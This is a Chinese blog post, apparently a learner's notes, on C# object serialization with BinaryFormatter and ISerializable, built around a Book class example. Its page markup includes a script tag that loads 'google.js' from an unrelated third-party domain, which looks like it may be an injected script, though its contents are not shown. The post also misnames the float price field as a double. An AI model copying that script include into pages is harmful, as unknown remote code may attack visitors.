序列化的学习!

97 篇文章 0 订阅

概念:序列化是指将对象实例的状态存储到存储媒体的过程。在此过程中,先将对象的公共字段和私有字段以及类的名称(包括类所在的程序集)转换为字节流,然后再把字节流写入数据流。在随后对对象进行反序列化时,将创建出与原对象完全相同的副本。 
 序列化的理解:保留信息,便于不同机器,不同作用的应用程序取出调用。
他先把对象弄成流然后进行保存,反序列化就是恢复原来的信息。
这个也可以应用到不同的程序域
 BinaryFormatter类存在于System.Runtime.Serialization.Formatters.Binary
以二进制格式将对象或整个连接对象图形序列化和反序列化。
Serialize序列化一个对象 参数2个第一个是一个流对象,第2个是要序列化的对象
Deserialize反序列化一个对象,参数一个  要被反序列化的流

例子如下
[Serializable]//这里也用到了反射技术??看来应该好好看反射
public class Book
{
    private string name;
    private float price;//如果不想实力这个的话可以写这个 [NonSerialized]
    private string author;
    public Book()
 {

  
 }
    public Book(string name, string author, float price)
    {
        this.name = name;
        this.author = author;
        this.price = price;
    }
    public string Name        
    {
        get { return name; }
        set
        {
            this.name = value;
        }
    }
    public string Author
    {
        get { return author; }
        set { author = value; }
    }
    public float Price
    {
        get { return price; }
        set { price = value; }
 
    }

}

 Book book = new Book("故事大王", "张三", 32);
        using (FileStream fs = new FileStream("c://book.dat", FileMode.Create))//这个文件名可以是任意的。
        {
            BinaryFormatter bf = new BinaryFormatter();
            bf.Serialize(fs, book);
        }
        book = null;
        using (FileStream fs = new FileStream("c://book.dat", FileMode.Open))
        {
            BinaryFormatter bf = new BinaryFormatter();
            book = (Book)bf.Deserialize(fs);//这个是反序列化,参数是一个流
            Response.Write(book.Author + "<br>" + book.Name + "<br>" + book.Price);
        }

 

SerializationInfo 类  存储将对象序列化或反序列化所需的全部数据  在序列化时,使用 AddValue 方法将对象添加到 SerializationInfo 存储区中;在反序列化时,使用 GetValue 方法从 SerializationInfo 存储区中提取对象。
StreamingContext 成员  描述给定的序列化流的源和目标
要实现 ISerializable,需要实现 GetObjectData 方法以及一个特殊的构造函数,在反序列化对象时要用到此构造函数
要实现自己的序列化的话 就要继承接口ISerializable,它允许对象控制其自己的序列化和反序列化过程。
修改后代码如下
[Serializable]
public class Book:ISerializable
{
    private string name;
    private float price;
    private string author;
    public Book()
    {


    }
    protected Book(SerializationInfo info,StreamingContext strcon) //这个在反序列化的时候要调用
    {
        author = (string)info.GetValue("author", typeof(string));
    }
    //还要实现一个方法 这个方法在序列化的时候要被调用,方法里面指定你要被序列化的字段等。
    public void GetObjectData(SerializationInfo info, StreamingContext strcon)
    {
        info.AddValue("author", author,author .GetType());

    }
    public Book(string name, string author, float price)
    {
        this.name = name;
        this.author = author;
        this.price = price;
    }
    public string Name
    {
        get { return name; }
        set
        {
            this.name = value;
        }
    }
    public string Author
    {
        get { return author; }
        set { author = value; }
    }
    public float Price
    {
        get { return price; }
        set { price = value; }

    }

}

主函数不变


输出结果是张三   0  这个price 是double默认是0.0了
  

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值